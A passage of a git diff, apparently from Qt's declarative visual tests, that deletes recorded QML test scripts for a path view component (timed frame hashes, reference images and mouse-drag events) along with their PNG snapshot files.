- x: 321; y: 283 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4128 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 328; y: 283 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4144 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 341; y: 283 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 347; y: 282 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4160 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 360; y: 281 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4176 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 385; y: 282 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4192 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 433; y: 292 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 486; y: 307 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4208 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 538; y: 322 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4224 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 588; y: 336 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4240 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 620; y: 343 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 677; y: 354 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4256 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 733; y: 362 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4272 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 785; y: 365 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4288 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 830; y: 365 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 861; y: 357 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4304 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 879; y: 346 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4320 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 888; y: 335 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4336 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 893; y: 326 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 893; y: 326 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4352 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4368 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4384 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4400 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4416 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4432 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4448 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4464 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4480 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4496 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4512 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4528 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4544 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4560 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4576 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4592 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4608 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4624 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4640 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4656 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4672 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4688 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4704 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4720 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4736 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4752 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4768 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4784 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4800 - image: "test-pathview-2.4.png" - } - Frame { - msec: 4816 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4832 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4848 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4864 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4880 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4896 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4912 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4928 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4944 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4960 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4976 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4992 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5008 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5024 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5040 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5056 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5072 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5088 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5104 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5120 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5136 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5152 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5168 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5184 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5200 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5216 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5232 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5248 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5264 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5280 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5296 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5312 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5328 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5344 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5360 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 5376 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 242; y: 280 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5392 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 244; y: 280 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 246; y: 281 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5408 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 251; y: 282 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5424 - hash: "ba4e61f8de7f078cfc1e5fc8dd3c65f3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 261; y: 282 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5440 - hash: "00389598468dbd1a90cada9543715770" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 300; y: 279 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5456 - hash: "ab020b76bc23554e176bd3a59712c3bc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 350; y: 282 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5472 - hash: "96483c5c51cc851c55166b13617b12ea" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 417; y: 290 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5488 - hash: "1ad679d1400a0f185a380a75840c6a50" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 500; y: 300 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 585; y: 309 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5504 - hash: "b5ed338d402d16a831c0595311350789" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 669; y: 315 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 669; y: 315 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5520 - hash: "bf51ff7b6f264170d9c5700559e03262" - } - Frame { - msec: 5536 - hash: "0d62681e661aad7b67b880e13afeb4de" - } - Frame { - msec: 5552 - hash: "3371739270c458d4ce8a08f2e12d4ba5" - } - Frame { - msec: 5568 - hash: "db271b0ebfa0172d8386ac9afde9f296" - } - Frame { - msec: 5584 - hash: "d64c064ab483c9636b2736c67b2b1a48" - } - Frame { - msec: 5600 - hash: "20a8ccb0ff1c0d5ff606b343f1a32bff" - } - Frame { - msec: 5616 - hash: "5547bb0a4d6b51733829597b9d8d141a" - } - Frame { - msec: 5632 - hash: "1135177a5cb24aa11372653985599775" - } - Frame { - msec: 5648 - hash: "5031ea6ca8ec59155edb7c1f10f77925" - } - Frame { - msec: 5664 - hash: "7c5c1015af23f32c002a24a880201883" - } - Frame { - msec: 5680 - hash: "c1dd3ad07775d74d2e81b830d07543e0" - } - Frame { - msec: 5696 - hash: "ad6651f644be3c6f1ebf340809fe516f" - } - Frame { - msec: 5712 - hash: "1eb69541ae67d9d9193b86a6592de4c2" - } - Frame { - msec: 5728 - hash: "c9c40ec693a421243804efb8f99707f4" - } - Frame { - msec: 5744 - hash: "832884a5102069ca085001156a04e74e" - } - Frame { - msec: 5760 - image: "test-pathview-2.5.png" - } - Frame { - msec: 5776 - hash: "df0c7d73069e1087d34c7a703197cb2a" - } - Frame { - msec: 5792 - hash: "4a8e1f548e48b86140aa1a5fa8b17bd3" - } - Frame { - msec: 5808 - hash: "f79f47e3a0c16a1361fa287a594c4673" - } - Frame { - msec: 5824 - hash: "c26da5ed2e4055f5c172b48163560143" - } - Frame { - msec: 5840 - hash: "0e971cd0c2e25d52b689d4b22509a7d9" - } - Frame { - msec: 5856 - hash: "40bae0ef35772c476cddccc034b7c872" - } - Frame { - msec: 5872 - hash: "ce1fc0faae5e313bc21e024dac3097da" - } - Frame { - msec: 5888 - hash: "ba614972cec0e9fa47cb09f1ba77eefb" - } - Frame { - msec: 5904 - hash: "2266ae29490ae01ff8a2329956c124a7" - } - Frame { - msec: 5920 - hash: "debae0194926cb5af0a8f7fdfb7f08b8" - } - Frame { - msec: 5936 - hash: "10a7111367cfcbe24063b9ee6975e4fc" - } - Frame { - msec: 5952 - hash: "3c0f9e0603e33506f31ff6569d007b97" - } - Frame { - msec: 5968 - hash: "69d92abce3f093cc7610bd715a7396fa" - } - Frame { - msec: 5984 - hash: "befad9882a6af920684d94c74d8d7f78" - } - Frame { - msec: 6000 - hash: "10632052ac53504bd36687ba7aa7ebc1" - } - Frame { - msec: 6016 - hash: "af4053320c12cbcc6f0e7e321dba1c83" - } - Frame { - msec: 6032 - hash: "4560c5fcef9d630d744e80dc46947b9d" - } - Frame { - msec: 6048 - hash: "012ee780ed98131321aaa241a2599c5f" - } - Frame { - msec: 6064 - hash: "25d3fb9d44bc2be3b86a5451d8ffaec2" - } - Frame { - msec: 6080 - hash: "09c5cbff81a5c9fae40ec29b936ee52b" - } - Frame { - msec: 6096 - hash: "27a0b1d2ea2fc8729e5542c6462c1815" - } - Frame { - msec: 6112 - hash: "c6f347c942aed190ebee077b5bd0888c" - } - Frame { - msec: 6128 - hash: "029d78844bd72acb310bd2887489bdf0" - } - Frame { - msec: 6144 - hash: "3af16ab398f1515e90e81460ac061a74" - } - Frame { - msec: 6160 - hash: "0151ca050722645e2899919f79f6aa0b" - } - Frame { - msec: 6176 - hash: "eead61dfc1851bc9fba3b4bca510af6a" - } - Frame { - msec: 6192 - hash: "da822098c606556ad8683316f5a821ab" - } - Frame { - msec: 6208 - hash: "ee47fc2bcf2264f5799a76308fbf2b65" - } - Frame { - msec: 6224 - hash: "81b208b84ca887d35cda79b5c0e4cd4e" - } - Frame { - msec: 6240 - hash: "fd52ccaddcb79a2dfa12bb57640a3610" - } - Frame { - msec: 6256 - hash: "b187e8fcd0a777657a733c260aaaf557" - } - Frame { - msec: 6272 - hash: "2cfe47a86bf9df3704002288b6249ed9" - } - Frame { - msec: 6288 - hash: "b79b81706f62789a15557ac1a017addf" - } - Frame { - msec: 6304 - hash: "77a84eb447fe7034783678f6903ff76d" - } - Frame { - msec: 6320 - hash: "82529385d3072812fa737193914ece1c" - } - Frame { - msec: 6336 - hash: "a7ccfa6c8aebf2016f2f12045d2f1abe" - } - Frame { - msec: 6352 - hash: "486d38e7ea6a5cf13f2ecd1c6919ece7" - } - Frame { - msec: 6368 - hash: "6c5bd377d2289ec88f969e961f1dcf65" - } - Frame { - msec: 6384 - hash: "92e20565fbcf8c7c9a67726f3a0dd41f" - } - Frame { - msec: 6400 - hash: "0fcd995a26262b875440d0d9f03d16c4" - } - Frame { - msec: 6416 - hash: "f679759eddca739764bd2816ee53ef31" - } - Frame { - msec: 6432 - hash: "adffd1da9b750df3d9f48820a2235c0b" - } - Frame { - msec: 6448 - hash: "e0f8730acf7a6802ade228f95d700c08" - } - Frame { - msec: 6464 - hash: "2c5209c3715bb9f39ac23a8b32a17ef9" - } - Frame { - msec: 6480 - hash: "741694ef4cbd3477a8e13ba89fc9d607" - } - Frame { - msec: 6496 - hash: "e88d6a61acb3fde6b441c2e718a0c2fb" - } - Frame { - msec: 6512 - hash: "b91863800e6ab967616d68def388d5d5" - } - Frame { - msec: 6528 - hash: "4c28a99236c351a2e3e3301c0b5bbba8" - } - Frame { - msec: 6544 - hash: "6affb524d7f63fef94d29629a148be04" - } - Frame { - msec: 6560 - hash: "f7823d25adf673117f010738d977b787" - } - Frame { - msec: 6576 - hash: "dfb930f3db30ec53c8e9a1aa5d9056e4" - } - Frame { - msec: 6592 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6608 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6624 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6640 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6656 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6672 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6688 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6704 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6720 - image: "test-pathview-2.6.png" - } - Frame { - msec: 6736 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6752 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6768 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6784 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6800 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6816 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6832 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6848 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6864 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6880 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6896 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6912 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6928 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6944 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6960 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6976 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 6992 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7008 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7024 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7040 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7056 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7072 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7088 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7104 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7120 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7136 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7152 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7168 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7184 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7200 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7216 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7232 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7248 - hash: "57269234dc01b66f6aeb841c328c06b5" - } - Frame { - msec: 7264 - hash: "57269234dc01b66f6aeb841c328c06b5" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.0.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.0.png deleted file mode 100644 index 442ba9f..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.1.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.1.png deleted file mode 100644 index a9ff20f..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.2.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.2.png deleted file mode 100644 index 157bb99..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.3.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.3.png deleted file mode 100644 index 8c49acb..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.4.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.4.png deleted file mode 100644 index eb2bf54..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.qml b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.qml deleted file mode 100644 index 8cff5c6..0000000 --- a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.qml +++ /dev/null @@ -1,1495 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 32 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 48 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 64 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 80 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 96 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 112 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 128 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 144 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 160 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 176 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 192 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 208 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 224 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 240 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 256 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 272 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 288 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 304 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 320 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 336 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 352 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 368 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 384 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 400 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 416 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 432 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 448 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 464 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 480 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 496 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 512 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 528 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 544 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 560 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 576 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 592 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 608 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 624 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 640 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 656 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 672 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 688 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 704 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 720 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 736 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 752 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 768 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 784 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 800 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 816 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 832 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 848 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 864 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 880 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 896 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 912 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 928 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 944 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 960 - image: "test-pathview.0.png" - } - Frame { - msec: 976 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 992 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1008 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1024 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1040 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1056 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1072 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1088 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1104 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1120 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1136 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 734; y: 177 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1152 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Frame { - msec: 1168 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 732; y: 177 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1184 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 726; y: 179 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1200 - hash: "89bb697bb7b7fab38d3ff56e23e43959" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 716; y: 183 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1216 - hash: "42c141399fda1cbb2ae117788d87092a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 700; y: 190 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1232 - hash: "4d44343eb91838e3eb73e2e5326b5ac2" - } - Frame { - msec: 1248 - hash: "4d44343eb91838e3eb73e2e5326b5ac2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 677; y: 200 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1264 - hash: "15aaccb4f7961a4e3e6fe57260779d00" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 651; y: 209 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1280 - hash: "5628fa3ac9893f5c9690013aad4b881a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 619; y: 219 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1296 - hash: "384db58b6de773ac39ae81e6af4d547d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 579; y: 229 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1312 - hash: "2a15a27a138b9d3d646b827d026e8843" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 535; y: 237 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 535; y: 237 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1328 - hash: "098176f48a148eb2bc5ef67c307baa1c" - } - Frame { - msec: 1344 - hash: "f838ab4301bf9d3106cec529f855cecd" - } - Frame { - msec: 